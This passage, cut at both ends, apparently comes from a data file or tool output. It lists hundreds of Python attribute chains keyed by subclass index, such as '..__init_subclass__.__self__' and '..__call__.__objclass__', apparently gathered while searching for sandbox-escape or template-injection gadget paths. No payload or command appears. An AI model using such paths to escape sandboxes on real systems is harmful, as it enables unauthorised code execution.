..__subclasshook__.__self__._push_exit_callback", "Subclass 184: ..__getitem__.__class__", "Subclass 196: ..Match.__getitem__.__wrapped__", "Subclass 94: ..load_module.__repr__.__objclass__", "Subclass 132: ..__class_getitem__.__func__.__repr__", "Subclass 86: ..exec_module.__hash__.__self__", "Subclass 164: ..repr_int.__new__.__self__", "Subclass 98: ..find_spec.__le__.__self__", "Subclass 98: ..find_loader.__get__.__self__", "Subclass 94: ..__eq__.__repr__.__objclass__", "Subclass 81: ..acquire.__lt__.__self__", "Subclass 199: ..is_resource.__sizeof__.__self__", "Subclass 93: ..load_module.__reduce_ex__.__self__", "Subclass 80: ..__init__.__format__.__self__", "Subclass 105: ..is_resource.__reduce_ex__.__self__", "Subclass 98: ..__init__.__init_subclass__.__self__", "Subclass 95: .._recalculate.__le__.__self__", "Subclass 107: ..__init__.__sizeof__.__self__", "Subclass 176: ..__init__.__get__.__objclass__", "Subclass 110: ..__init__.__init__.__self__", "Subclass 93: ..is_package.__get__.__objclass__", "Subclass 80: ..__repr__.__call__.__self__", "Subclass 173: ..register.__reduce_ex__.__self__", "Subclass 109: ..__iter__.__repr__.__self__", "Subclass 133: ..close.__call__.__objclass__", "Subclass 164: ..repr_list.__subclasshook__.__self__", "Subclass 183: ..__init__.__repr__.__self__", "Subclass 107: ..encode.__new__.__self__", "Subclass 185: .._Tokenizer__next.__getattribute__.__self__", "Subclass 133: ..__weakref__.__objclass__.__getattr__", "Subclass 80: ..__init_subclass__.__self__.has_deadlock", "Subclass 177: ..pop_all.__lt__.__self__", "Subclass 95: .._recalculate.__ne__.__self__", "Subclass 107: ..setstate.__subclasshook__.__self__", "Subclass 199: ..resource_path.__class__", "Subclass 109: ..__init_subclass__.__self__.__getattr__", "Subclass 110: ..write.__class__", "Subclass 164: ..repr_frozenset", "Subclass 94: ..contents.__str__.__self__", "Subclass 109: ..read.__eq__.__self__", "Subclass 119: ..__iter__.__repr__.__self__", "Subclass 164: ..repr_list.__sizeof__.__self__", "Subclass 94: ..is_resource.__ne__.__self__", "Subclass 177: .._push_cm_exit.__ge__.__self__", "Subclass 94: ..resource_path.__format__.__self__", "Subclass 95: ..__setitem__.__ne__.__self__", "Subclass 188: ..__copy__.__repr__.__self__", "Subclass 164: ..repr_list.__le__.__self__", "Subclass 119: ..__class__._dump_registry.__class__", "Subclass 174: ..__set_name__", "Subclass 130: ..__class__._abc_caches_clear", "Subclass 184: ..insert.__call__.__objclass__", "Subclass 109: ..readline.__call__.__self__", "Subclass 94: ..contents.__gt__.__self__", "Subclass 96: ..is_package.__class__", "Subclass 110: ..reset.__hash__.__self__", "Subclass 185: ..get.__new__.__self__", "Subclass 115: ..__class__.__instancecheck__.__class__", "Subclass 96: ..load_module.__repr__.__self__", "Subclass 164: ..repr_set.__call__.__objclass__", "Subclass 94: ..get_data.__gt__.__self__", "Subclass 94: ..resource_path.__repr__.__objclass__", "Subclass 184: ..dump.__call__.__objclass__", "Subclass 110: ..readline.__init__.__self__", "Subclass 110: ..__enter__.__class__", "Subclass 110: ..__next__.__new__.__self__", "Subclass 105: ..resource_path.__reduce_ex__.__self__", "Subclass 133: ..__subclasshook__.__self__.close", "Subclass 140: ..__exit__.__get__.__self__", "Subclass 109: ..writelines.__ge__.__self__", "Subclass 107: ..__init__.__ge__.__self__", "Subclass 198: ..module_repr.__eq__.__self__", "Subclass 108: ..__init__.__setattr__.__self__", "Subclass 184: ..__setitem__.__setattr__.__self__", "Subclass 107: ..__init__", "Subclass 104: ..get_resource_reader.__new__.__self__", "Subclass 140: ..__enter__.__format__.__self__", "Subclass 173: ..__init__.__call__.__self__", "Subclass 174: ..__set_name__.__new__.__self__", "Subclass 184: ..insert.__str__.__self__", "Subclass 82: ..__init__.__ne__.__self__", "Subclass 110: ..__exit__.__reduce__.__self__", "Subclass 110: ..write.__str__.__self__", "Subclass 186: ..__init__", "Subclass 104: ..get_filename.__setattr__.__self__", "Subclass 104: ..find_loader.__delattr__.__self__", "Subclass 109: ..reset.__setattr__.__self__", "Subclass 109: ..seek.__sizeof__.__self__", "Subclass 96: ..exec_module.__reduce__.__self__", "Subclass 98: ..find_loader.__subclasshook__.__self__", "Subclass 95: .._recalculate", "Subclass 95: ..__repr__.__sizeof__.__self__", "Subclass 195: ..BinaryIO.readlines.__class__", "Subclass 137: ..deleter.__lt__.__self__", "Subclass 136: ..__init_subclass__.__self__.__repr__", "Subclass 92: ..find_spec.__func__", "Subclass 39: ..__closure__.__objclass__", "Subclass 164: ..__init_subclass__.__self__.repr_frozenset", "Subclass 104: ..find_loader.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__delattr__.__self__", "Subclass 195: ..IO.flush.__class__", "Subclass 185: ..seek.__sizeof__.__self__", "Subclass 172: .._make_unbound_method.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__get__.__objclass__", "Subclass 109: ..write.__init_subclass__.__self__", "Subclass 104: ..__init_subclass__.__self__.load_module", "Subclass 114: ..__hash__.__ne__.__self__", "Subclass 195: ..IO.__exit__", "Subclass 98: ..find_spec.__get__.__objclass__", "Subclass 110: ..__enter__", "Subclass 107: ..getstate.__le__.__self__", "Subclass 108: ..__init__.__reduce_ex__.__self__", "Subclass 98: ..find_spec.__lt__.__self__", "Subclass 109: ..__next__.__repr__.__self__", "Subclass 110: ..__enter__.__call__.__objclass__", "Subclass 184: ..append.__get__.__self__", "Subclass 183: ..opengroup.__ne__.__self__", "Subclass 176: ..__init__.__dir__.__self__", "Subclass 95: ..__contains__.__get__.__objclass__", "Subclass 164: .._repr_iterable.__ge__.__self__", "Subclass 177: .._create_cb_wrapper.__get__.__objclass__", "Subclass 196: ..Pattern.__class__.__getattr__", "Subclass 83: ..__eq__.__get__.__objclass__", "Subclass 95: ..__init_subclass__.__self__.__getitem__", "Subclass 172: ..__init__.__init__.__self__", "Subclass 173: ..__init__.__call__.__objclass__", "Subclass 104: ..get_data.__call__.__objclass__", "Subclass 93: ..load_module.__dir__.__self__", "Subclass 96: ..get_source.__sizeof__.__self__", "Subclass 82: ..__init__.__le__.__self__", "Subclass 107: ..getstate.__ge__.__self__", "Subclass 133: ..__getattr__.__repr__.__objclass__", "Subclass 109: ..__exit__.__sizeof__.__self__", "Subclass 110: ..__init__.__setattr__.__self__", "Subclass 133: ..__init__.__call__.__objclass__", "Subclass 107: ..encode.__delattr__.__self__", "Subclass 185: ..__init_subclass__.__self__.tell", "Subclass 96: ..is_package.__delattr__.__self__", "Subclass 164: .._repr_iterable.__format__.__self__", 'Global func 1: ..__call__.__objclass__', "Subclass 109: ..readline.__get__.__objclass__", "Subclass 82: ..__init__.__eq__.__self__", "Subclass 84: ..module_repr.__repr__.__self__", "Subclass 172: .._make_unbound_method.__call__.__self__", "Subclass 186: ..scan.__get__.__self__", "Subclass 86: ..exec_module.__reduce__.__self__", "Subclass 133: ..__iter__.__subclasshook__.__self__", "Subclass 94: ..__eq__.__ge__.__self__", "Subclass 133: ..__exit__", "Subclass 177: ..push.__repr__.__self__", "Subclass 188: ..__deepcopy__.__eq__.__self__", "Subclass 119: ..__iter__.__ne__.__self__", "Subclass 108: ..getstate.__lt__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_dict", "Subclass 195: ..IO.write", "Subclass 133: ..__iter__.__repr__.__objclass__", "Subclass 174: ..__init__.__get__.__self__", "Subclass 183: ..checklookbehindgroup.__new__.__self__", "Subclass 82: ..__init__.__get__.__self__", "Subclass 185: ..tell.__call__.__objclass__", "Subclass 110: ..readlines.__eq__.__self__", "Subclass 139: ..__init__.__init_subclass__.__self__", "Subclass 130: ..__len__.__format__.__self__", "Subclass 172: .._make_unbound_method.__ne__.__self__", "Subclass 164: ..repr1.__le__.__self__", "Subclass 134: ..__repr__.__getattribute__.__self__", "Subclass 110: ..__exit__", "Subclass 109: ..reset.__reduce_ex__.__self__", "Subclass 164: ..repr_list.__repr__.__objclass__", "Subclass 94: ..load_module.__reduce_ex__.__self__", "Subclass 81: ..acquire.__new__.__self__", "Subclass 96: ..exec_module.__gt__.__self__", "Subclass 137: ..__get__.__hash__.__self__", "Subclass 87: ..__exit__.__class__", "Subclass 110: ..__exit__.__init__.__self__", "Subclass 134: ..__init__.__ne__.__self__", "Subclass 138: ..__await__.__repr__.__objclass__", "Subclass 177: .._create_exit_wrapper.__dir__.__self__", "Subclass 184: ..__getitem__.__call__.__objclass__", "Subclass 184: ..__init_subclass__.__self__.dump", "Subclass 105: ..__subclasshook__.__self__.open_resource", "Subclass 98: ..find_loader.__new__.__self__", "Subclass 177: .._create_exit_wrapper.__delattr__.__self__", "Subclass 80: ..has_deadlock.__init_subclass__.__self__", "Subclass 105: ..__init__", "Subclass 86: ..module_repr.__init_subclass__.__self__", "Subclass 107: ..getstate.__new__.__self__", "Subclass 110: ..seek.__call__.__objclass__", "Subclass 172: .._make_unbound_method.__call__.__objclass__", "Subclass 131: ..__contains__.__reduce__.__self__", "Subclass 104: ..load_module.__call__.__objclass__", "Subclass 84: ..get_code.__func__.__class__", "Subclass 185: ..getuntil.__le__.__self__", "Subclass 140: ..__repr__.__call__.__self__", "Subclass 98: ..find_loader.__reduce__.__self__", "Subclass 164: ..repr_list.__reduce__.__self__", "Subclass 94: ..__init__.__get__.__self__", "Subclass 185: ..match.__str__.__self__", "Subclass 140: ..__enter__.__le__.__self__", "Subclass 83: ..__eq__.__ge__.__self__", "Subclass 175: .._recreate_cm.__repr__.__self__", "Subclass 110: ..reset.__init__.__self__", "Subclass 199: ..resource_path.__call__.__self__", "Subclass 110: ..seek.__reduce__.__self__", "Subclass 184: ..__getitem__.__subclasshook__.__self__", "Subclass 177: ..enter_context.__class__", "Subclass 95: ..__repr__.__get__.__self__", "Subclass 104: ..__init__.__subclasshook__.__self__", "Subclass 81: ..__init__.__repr__.__objclass__", "Subclass 138: ..close.__gt__.__self__", "Subclass 184: ..append.__lt__.__self__", "Subclass 84: ..module_repr.__reduce__.__self__", "Subclass 105: ..resource_path.__gt__.__self__", "Subclass 104: ..get_source.__class__", "Subclass 164: ..__init_subclass__.__self__.repr_int", "Subclass 110: ..readlines.__call__.__objclass__", "Subclass 114: ..__class__._abc_registry_clear", "Subclass 164: ..repr_frozenset.__call__.__objclass__", "Subclass 94: ..__subclasshook__.__self__.load_module", "Subclass 81: ..release.__init__.__self__", "Subclass 82: ..__enter__.__str__.__self__", "Subclass 184: ..__delitem__.__reduce_ex__.__self__", "Subclass 139: ..__str__.__reduce__.__self__", "Subclass 108: ..decode.__ne__.__self__", "Subclass 199: ..resource_path.__delattr__.__self__", "Subclass 164: .._repr_iterable.__str__.__self__", "Subclass 183: ..checkgroup.__hash__.__self__", "Subclass 174: ..__set_name__.__delattr__.__self__", "Subclass 115: ..__class__._dump_registry", "Subclass 199: ..is_resource.__hash__.__self__", "Subclass 164: ..repr.__init_subclass__.__self__", "Subclass 199: ..open_resource.__init_subclass__.__self__", "Subclass 81: ..__repr__.__getattribute__.__self__", "Subclass 107: ..encode.__call__.__objclass__", "Subclass 133: ..__exit__.__setattr__.__self__", "Subclass 94: ..open_resource.__ne__.__self__", "Subclass 94: ..resource_path.__ne__.__self__", "Subclass 82: ..__exit__.__dir__.__self__", 'Global func 1: ..__eq__.__self__.__class__', "Subclass 95: ..__subclasshook__.__self__.__getitem__", "Subclass 183: ..__subclasshook__.__self__.checklookbehindgroup", "Subclass 95: ..__repr__.__lt__.__self__", "Subclass 164: ..repr_deque.__repr__.__objclass__", "Subclass 93: ..exec_module.__init_subclass__.__self__", "Subclass 195: ..TextIO.write", "Subclass 183: ..opengroup.__reduce__.__self__", "Subclass 95: ..__weakref__.__objclass__.__getitem__", "Subclass 198: ..create_module.__dir__.__self__", "Subclass 135: ..__call__.__subclasshook__.__self__", "Subclass 110: ..__iter__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__ge__.__self__", "Subclass 177: ..push.__sizeof__.__self__", "Subclass 184: ..__len__.__setattr__.__self__", "Subclass 95: ..__init__.__class__", "Subclass 137: ..getter.__get__.__self__", "Subclass 117: ..__aiter__.__repr__.__self__", "Subclass 110: ..__subclasshook__.__self__.__iter__", "Subclass 184: ..__repr__.__call__.__objclass__", "Subclass 109: ..__iter__.__class__", "Subclass 198: ..load_module.__format__.__self__", "Subclass 104: ..get_data.__gt__.__self__", "Subclass 137: ..__init__.__setattr__.__self__", "Subclass 195: ..BinaryIO.writelines.__class__", "Subclass 137: ..__init__.__get__.__objclass__", "Subclass 96: ..get_code.__call__.__self__", "Subclass 185: ..error.__repr__.__objclass__", "Subclass 192: ..__new__.__repr__.__self__", "Subclass 139: ..__str__.__lt__.__self__", "Subclass 177: ..push.__delattr__.__self__", "Subclass 134: ..__subclasshook__.__self__.__call__", "Subclass 107: ..getstate.__class__", "Subclass 84: ..load_module.__func__", "Subclass 98: .._fill_cache.__class__", "Subclass 137: ..__delete__.__dir__.__self__", "Subclass 95: ..__setitem__.__hash__.__self__", "Subclass 110: ..writelines.__init_subclass__.__self__", "Subclass 172: ..__get__.__ge__.__self__", "Subclass 185: ..__init__.__init__.__self__", "Subclass 107: ..setstate.__repr__.__self__", "Subclass 183: ..closegroup.__getattribute__.__self__", "Subclass 83: ..__eq__.__call__.__objclass__", "Subclass 175: .._recreate_cm.__setattr__.__self__", "Subclass 184: ..__init__.__call__.__self__", "Subclass 109: ..__enter__.__repr__.__objclass__", "Subclass 172: ..__init__.__eq__.__self__", "Subclass 110: ..__next__.__call__.__objclass__", "Subclass 136: ..__repr__.__sizeof__.__self__", "Subclass 164: ..repr.__delattr__.__self__", "Subclass 115: ..__await__.__dir__.__self__", "Subclass 198: ..module_repr.__str__.__self__", "Subclass 183: ..closegroup.__init__.__self__", "Subclass 172: ..__repr__.__format__.__self__", "Subclass 109: ..writelines.__class__", "Subclass 172: ..__repr__.__get__.__self__", "Subclass 98: ..__weakref__.__objclass__._fill_cache", "Subclass 184: ..getwidth.__call__.__self__", "Subclass 96: ..__init__.__call__.__objclass__", "Subclass 106: ..decode.__eq__.__self__", "Subclass 109: ..readlines.__lt__.__self__", "Subclass 83: ..__eq__.__eq__.__self__", "Subclass 109: ..__iter__.__init__.__self__", "Subclass 109: ..__next__.__format__.__self__", "Subclass 137: ..__delete__.__call__.__objclass__", "Subclass 81: ..release.__gt__.__self__", "Subclass 175: ..__call__", "Subclass 95: .._get_parent_path.__lt__.__self__", "Subclass 184: ..__len__.__dir__.__self__", "Subclass 81: ..acquire.__get__.__self__", "Subclass 98: ..invalidate_caches.__init_subclass__.__self__", "Subclass 96: ..__init__.__str__.__self__", "Subclass 109: ..reset.__subclasshook__.__self__", "Subclass 105: ..is_resource.__init_subclass__.__self__", "Subclass 94: ..is_resource.__format__.__self__", "Subclass 140: ..__exit__.__class__", "Subclass 130: ..__len__.__setattr__.__self__", "Subclass 184: ..__setitem__.__ge__.__self__", "Subclass 98: .._fill_cache.__le__.__self__", "Subclass 184: ..insert.__reduce__.__self__", "Subclass 86: ..exec_module.__ge__.__self__", "Subclass 139: ..__str__.__setattr__.__self__", "Subclass 82: ..__init__.__str__.__self__", "Subclass 164: ..repr_set.__new__.__self__", "Subclass 105: ..contents.__getattribute__.__self__", "Subclass 133: ..__getattr__.__setattr__.__self__", "Subclass 110: ..readlines.__new__.__self__", "Subclass 94: ..open_resource.__call__.__objclass__", "Subclass 198: ..load_module.__repr__.__objclass__", "Subclass 108: ..reset.__reduce_ex__.__self__", "Subclass 184: ..__len__.__reduce_ex__.__self__", "Subclass 86: ..get_source.__self__.module_repr", "Subclass 134: ..__subclasshook__.__self__.__init__", "Subclass 109: ..read.__str__.__self__", "Subclass 175: ..__call__.__init__.__self__", "Subclass 130: ..__len__.__gt__.__self__", "Subclass 133: ..close.__init__.__self__", "Subclass 110: ..__enter__.__str__.__self__", "Subclass 185: ..seek.__get__.__objclass__", "Subclass 177: .._push_exit_callback.__subclasshook__.__self__", "Subclass 199: ..__class__._abc_registry_clear.__class__", "Subclass 139: ..__str__.__delattr__.__self__", "Subclass 110: ..read.__lt__.__self__", "Subclass 104: ..__repr__.__reduce__.__self__", "Subclass 96: ..create_module.__ne__.__self__", "Subclass 164: ..repr1.__reduce_ex__.__self__", "Subclass 173: ..register.__new__.__self__", "Subclass 138: ..__next__.__le__.__self__", "Subclass 110: ..read.__reduce__.__self__", "Subclass 95: ..__setitem__.__new__.__self__", "Subclass 94: ..get_filename.__sizeof__.__self__", "Subclass 139: ..__str__.__eq__.__self__", "Subclass 119: ..__iter__.__subclasshook__.__self__", "Subclass 82: ..__enter__.__class__", "Subclass 97: ..find_module.__func__.__class__", "Subclass 138: ..__await__.__delattr__.__self__", "Subclass 138: ..close.__eq__.__self__", "Subclass 131: ..__contains__.__get__.__objclass__", "Subclass 138: ..__await__.__class__", "Subclass 184: ..__setitem__.__delattr__.__self__", "Subclass 177: .._create_cb_wrapper.__class__", "Subclass 86: ..module_repr.__class__", "Subclass 177: ..__init__", "Subclass 81: ..__repr__.__get__.__objclass__", "Subclass 173: ..__init__.__new__.__self__", "Subclass 177: .._push_cm_exit.__init__.__self__", "Subclass 96: ..__init__.__subclasshook__.__self__", "Subclass 104: ..load_module.__ne__.__self__", "Subclass 185: ..getwhile", "Subclass 109: ..reset.__sizeof__.__self__", "Subclass 82: ..__weakref__.__objclass__.__init__", "Subclass 98: ..__init__.__repr__.__self__", "Subclass 130: ..__len__.__repr__.__self__", "Subclass 137: ..setter.__repr__.__objclass__", "Subclass 117: ..__class__.__subclasscheck__.__class__", "Subclass 96: ..module_repr.__self__.load_module", "Subclass 173: ..__get__.__ge__.__self__", "Subclass 164: ..repr_dict.__init__.__self__", "Subclass 199: ..__init_subclass__.__self__.open_resource", "Subclass 137: ..__get__.__getattribute__.__self__", "Subclass 81: ..release", "Subclass 164: ..__init__.__init_subclass__.__self__", "Subclass 183: ..opengroup.__format__.__self__", "Subclass 115: ..__await__.__get__.__self__", "Subclass 134: ..__repr__.__ge__.__self__", "Subclass 95: .._find_parent_path_names.__init__.__self__", "Subclass 96: ..create_module", "Subclass 97: ..invalidate_caches.__func__", "Subclass 94: ..__hash__.__class__", "Subclass 136: ..__repr__.__repr__.__objclass__", "Subclass 109: ..seek.__gt__.__self__", "Subclass 96: ..get_source.__lt__.__self__", "Subclass 114: ..__class__.__instancecheck__.__class__", "Subclass 98: ..__repr__.__class__", "Subclass 114: ..__class__._abc_caches_clear.__class__", "Subclass 185: ..tell.__subclasshook__.__self__", "Subclass 198: ..load_module.__get__.__self__", "Subclass 108: ..__init_subclass__.__self__.decode", "Subclass 177: ..__init__.__ne__.__self__", "Subclass 196: ..Pattern.__init__.__func__", "Subclass 104: ..find_module.__init__.__self__", "Subclass 184: ..__len__.__str__.__self__", "Subclass 98: ..find_module", "Subclass 108: ..__init__.__hash__.__self__", "Subclass 184: ..__init__.__subclasshook__.__self__", "Subclass 104: ..find_module.__get__.__self__", "Subclass 114: ..__hash__.__ge__.__self__", "Subclass 110: ..__init_subclass__.__self__.__iter__", "Subclass 95: .._recalculate.__get__.__self__", "Subclass 81: ..__repr__.__lt__.__self__", "Subclass 84: ..find_module.__func__", "Subclass 117: ..__aiter__.__call__.__self__", "Subclass 177: ..pop_all.__init__.__self__", "Subclass 140: ..__exit__.__format__.__self__", "Subclass 140: ..__init__.__repr__.__self__", "Subclass 109: ..__getattr__.__new__.__self__", "Subclass 98: .._fill_cache.__subclasshook__.__self__", "Subclass 96: ..get_code.__get__.__objclass__", "Subclass 164: ..repr.__dir__.__self__", "Subclass 138: ..__iter__.__lt__.__self__", "Subclass 81: ..__init__.__sizeof__.__self__", "Subclass 199: ..open_resource.__gt__.__self__", 'Global func 1: ..__reduce_ex__.__self__.__class__', "Subclass 110: ..readlines.__init_subclass__.__self__", "Subclass 140: ..__repr__.__class__", "Subclass 195: ..BinaryIO.readline", "Subclass 95: .._get_parent_path.__get__.__self__", "Subclass 172: .._make_unbound_method", "Subclass 110: ..read.__init_subclass__.__self__", "Subclass 172: ..__get__.__new__.__self__", "Subclass 174: ..__get__.__setattr__.__self__", "Subclass 96: ..__init__.__get__.__objclass__", "Subclass 104: ..load_module.__get__.__self__", "Subclass 94: ..__init__.__ge__.__self__", "Subclass 138: ..__next__.__get__.__objclass__", "Subclass 109: ..writelines.__new__.__self__", "Subclass 137: ..__subclasshook__.__self__.getter", "Subclass 81: ..acquire.__repr__.__objclass__", "Subclass 183: ..__init__.__class__", "Subclass 110: ..__iter__.__le__.__self__", "Subclass 185: ..__weakref__.__objclass__.get", "Subclass 110: ..__exit__.__hash__.__self__", "Subclass 109: ..readline.__ne__.__self__", "Subclass 110: ..reset.__get__.__objclass__", "Subclass 177: .._push_exit_callback.__new__.__self__", "Subclass 86: ..module_repr.__reduce_ex__.__self__", "Subclass 108: ..reset.__str__.__self__", "Subclass 164: ..repr_tuple.__init__.__self__", "Subclass 96: ..exec_module.__init__.__self__", "Subclass 114: ..__hash__.__subclasshook__.__self__", "Subclass 83: ..__init__.__ne__.__self__", "Subclass 133: ..close.__get__.__self__", "Subclass 104: ..__repr__.__lt__.__self__", "Subclass 117: ..__subclasshook__.__self__.__aiter__", "Subclass 199: ..open_resource.__repr__.__objclass__", "Subclass 164: ..__subclasshook__.__self__.__init__", "Subclass 81: ..__init__.__repr__.__self__", "Subclass 108: ..__init__.__eq__.__self__", "Subclass 164: ..repr.__subclasshook__.__self__", "Subclass 177: ..__init__.__class__", "Subclass 110: ..seek.__hash__.__self__", "Subclass 184: ..getwidth.__hash__.__self__", "Subclass 183: ..__init_subclass__.__self__.checklookbehindgroup", "Subclass 184: ..dump.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__setattr__.__self__", "Subclass 188: ..__subclasshook__.__self__.__copy__", "Subclass 138: ..__subclasshook__.__self__.__next__", "Subclass 81: ..__init__.__delattr__.__self__", "Subclass 131: ..__class__.__subclasscheck__", "Subclass 173: ..register.__get__.__objclass__", "Subclass 95: ..__contains__.__ne__.__self__", "Subclass 108: ..setstate.__dir__.__self__", 'Global func 1: ..__reduce_ex__.__self__', "Subclass 104: ..is_package.__ne__.__self__", "Subclass 131: ..__class__.__new__.__class__", "Subclass 95: ..__init_subclass__.__self__._find_parent_path_names", "Subclass 135: .._Printer__setup.__init_subclass__.__self__", "Subclass 98: .._fill_cache.__eq__.__self__", "Subclass 172: ..__repr__.__subclasshook__.__self__", "Subclass 138: ..__await__.__ne__.__self__", "Subclass 95: .._find_parent_path_names.__delattr__.__self__", "Subclass 104: ..get_resource_reader.__dir__.__self__", "Subclass 136: ..__repr__.__ne__.__self__", "Subclass 164: ..repr_str.__getattribute__.__self__", "Subclass 198: ..module_repr.__call__.__self__", "Subclass 196: ..Match.__repr__.__func__", "Subclass 137: ..getter.__call__.__self__", "Subclass 135: .._Printer__setup.__new__.__self__", "Subclass 96: ..__init__.__ne__.__self__", "Subclass 110: ..write.__eq__.__self__", "Subclass 96: ..get_source.__reduce__.__self__", "Subclass 132: ..__call__.__dir__.__self__", "Subclass 81: ..__repr__.__call__.__objclass__", "Subclass 183: ..__init__.__init_subclass__.__self__", "Subclass 184: ..__repr__.__call__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_str", "Subclass 98: ..__repr__.__init__.__self__", "Subclass 175: .._recreate_cm.__get__.__self__", "Subclass 83: ..__repr__.__call__.__objclass__", "Subclass 95: ..__subclasshook__.__self__._find_parent_path_names", "Subclass 185: ..tell.__dir__.__self__", "Subclass 96: ..exec_module.__ge__.__self__", "Subclass 108: ..decode.__get__.__self__", "Subclass 164: ..repr.__call__.__self__", "Subclass 108: ..__subclasshook__.__self__.setstate", "Subclass 164: ..repr.__reduce_ex__.__self__", "Subclass 93: ..load_module.__repr__.__self__", "Subclass 196: ..Pattern.__reduce__.__func__", "Subclass 184: ..__repr__.__init__.__self__", "Subclass 96: ..load_module.__new__.__self__", "Subclass 98: ..find_module.__reduce__.__self__", "Subclass 184: ..insert.__subclasshook__.__self__", "Subclass 133: ..__init__.__setattr__.__self__", "Subclass 179: ..__class__.__new__", "Subclass 185: ..match.__gt__.__self__", "Subclass 95: ..__iter__.__repr__.__objclass__", "Subclass 93: ..load_module.__setattr__.__self__", "Subclass 94: ..get_filename.__init_subclass__.__self__", "Subclass 185: ..getuntil.__call__.__self__", "Subclass 87: ..__enter__.__gt__.__self__", "Subclass 164: .._repr_iterable.__reduce_ex__.__self__", "Subclass 183: ..__init__.__ne__.__self__", "Subclass 174: ..__weakref__.__objclass__.__get__", "Subclass 131: ..__class__.register.__class__", "Subclass 184: ..__init__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__init_subclass__.__self__", "Subclass 83: ..__repr__.__call__.__self__", "Subclass 184: ..__init__.__repr__.__objclass__", "Subclass 133: ..__getattr__.__reduce__.__self__", "Subclass 96: ..get_source.__delattr__.__self__", "Subclass 109: ..writelines.__reduce__.__self__", "Subclass 172: ..__repr__.__delattr__.__self__", "Subclass 93: ..is_package.__setattr__.__self__", "Subclass 134: ..__init__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__class__", "Subclass 175: .._recreate_cm.__ne__.__self__", "Subclass 98: .._get_spec.__lt__.__self__", "Subclass 137: ..getter.__subclasshook__.__self__", "Subclass 94: ..load_module.__lt__.__self__", "Subclass 86: ..module_repr.__get__.__objclass__", "Subclass 109: ..readline.__eq__.__self__", "Subclass 117: ..__aiter__.__init_subclass__.__self__", "Subclass 109: ..write.__init__.__self__", "Subclass 95: ..__setitem__.__get__.__self__", "Subclass 94: ..get_resource_reader.__call__.__objclass__", "Subclass 164: ..repr_list.__repr__.__self__", "Subclass 196: ..Match.__init_subclass__.__func__", "Subclass 138: ..__iter__.__dir__.__self__", "Subclass 98: ..__repr__.__gt__.__self__", "Subclass 98: ..path_hook.__self__.invalidate_caches", "Subclass 115: ..__class__.register.__class__", "Subclass 135: .._Printer__setup.__ne__.__self__", "Subclass 80: ..has_deadlock.__delattr__.__self__", "Subclass 39: ..__get__.__objclass__", "Subclass 110: ..writelines.__le__.__self__", "Subclass 134: ..__repr__.__eq__.__self__", "Subclass 164: ..repr_frozenset.__init__.__self__", "Subclass 104: ..get_source.__dir__.__self__", "Subclass 84: ..__weakref__.__objclass__.module_repr", "Subclass 199: ..contents.__class__", "Subclass 112: ..__class__._abc_caches_clear.__class__", "Subclass 138: ..__init__.__repr__.__self__", "Subclass 39: ..__init_subclass__.__self__", "Subclass 104: ..get_filename.__subclasshook__.__self__", "Subclass 94: ..__eq__.__repr__.__self__", "Subclass 105: ..contents.__init_subclass__.__self__", "Subclass 109: ..__getattr__.__getattribute__.__self__", "Subclass 95: .._get_parent_path.__dir__.__self__", "Subclass 139: ..__str__.__call__.__self__", "Subclass 104: ..get_code", "Subclass 104: ..get_filename", "Subclass 164: ..repr_str.__ne__.__self__", "Subclass 80: ..release.__init_subclass__.__self__", "Subclass 198: ..module_repr.__reduce__.__self__", "Subclass 174: ..__get__.__le__.__self__", "Subclass 84: ..__subclasshook__.__self__.module_repr", "Subclass 164: ..repr1.__ne__.__self__", "Subclass 109: ..readlines.__dir__.__self__", "Subclass 110: ..seek.__sizeof__.__self__", 'Global func 1: ..__ge__.__self__', "Subclass 109: ..__exit__.__get__.__objclass__", "Subclass 135: .._Printer__setup.__subclasshook__.__self__", "Subclass 135: ..__init__.__ge__.__self__", "Subclass 80: ..acquire.__subclasshook__.__self__", "Subclass 173: ..__subclasshook__.__self__.__init__", "Subclass 108: ..getstate.__format__.__self__", "Subclass 135: ..__repr__.__get__.__objclass__", "Subclass 140: ..__exit__.__reduce_ex__.__self__", "Subclass 185: ..seek.__dir__.__self__", "Subclass 119: ..__class_getitem__.__self__.__iter__", "Subclass 95: .._recalculate.__format__.__self__", "Subclass 109: ..__enter__.__ge__.__self__", "Subclass 140: ..__exit__.__get__.__objclass__", "Subclass 104: ..get_resource_reader.__delattr__.__self__", "Subclass 177: .._create_cb_wrapper.__sizeof__.__self__", "Subclass 106: ..decode", "Subclass 98: ..__subclasshook__.__self__._fill_cache", "Subclass 164: ..repr_list.__get__.__self__", "Subclass 95: ..append.__ge__.__self__", "Subclass 173: ..register.__hash__.__self__", "Subclass 134: ..__call__.__delattr__.__self__", "Subclass 98: ..find_loader.__le__.__self__", "Subclass 184: ..__setitem__.__new__.__self__", "Subclass 164: ..repr_list.__eq__.__self__", "Subclass 110: ..__subclasshook__.__self__.reset", "Subclass 114: ..__class__.__new__.__class__", "Subclass 117: ..__class__.__instancecheck__.__class__", "Subclass 140: ..__exit__.__ge__.__self__", "Subclass 139: ..__str__.__subclasshook__.__self__", "Subclass 197: ..find_module.__lt__.__self__", "Subclass 110: ..__init__.__eq__.__self__", "Subclass 195: ..IO.truncate", "Subclass 104: ..__subclasshook__.__self__.is_package", "Subclass 110: ..__iter__.__reduce__.__self__", "Subclass 109: ..readline.__format__.__self__", "Subclass 135: ..__call__.__ne__.__self__", "Subclass 98: ..find_spec.__ne__.__self__", "Subclass 95: ..__init_subclass__.__self__.__iter__", "Subclass 94: ..open_resource.__setattr__.__self__", "Subclass 107: ..encode.__gt__.__self__", "Subclass 134: ..__call__.__ne__.__self__", "Subclass 109: ..__exit__.__eq__.__self__", "Subclass 104: ..is_package.__get__.__objclass__", "Subclass 199: ..resource_path.__sizeof__.__self__", "Subclass 109: ..seek.__call__.__self__", "Subclass 104: ..find_loader.__get__.__objclass__", "Subclass 198: ..create_module.__sizeof__.__self__", "Subclass 95: ..__iter__.__format__.__self__", "Subclass 198: ..__init_subclass__.__self__.create_module", "Subclass 110: ..__iter__.__init_subclass__.__self__", "Subclass 98: ..__init__", "Subclass 137: ..deleter.__gt__.__self__", "Subclass 105: ..open_resource.__eq__.__self__", "Subclass 183: ..checklookbehindgroup.__init__.__self__", "Subclass 195: ..IO.read", 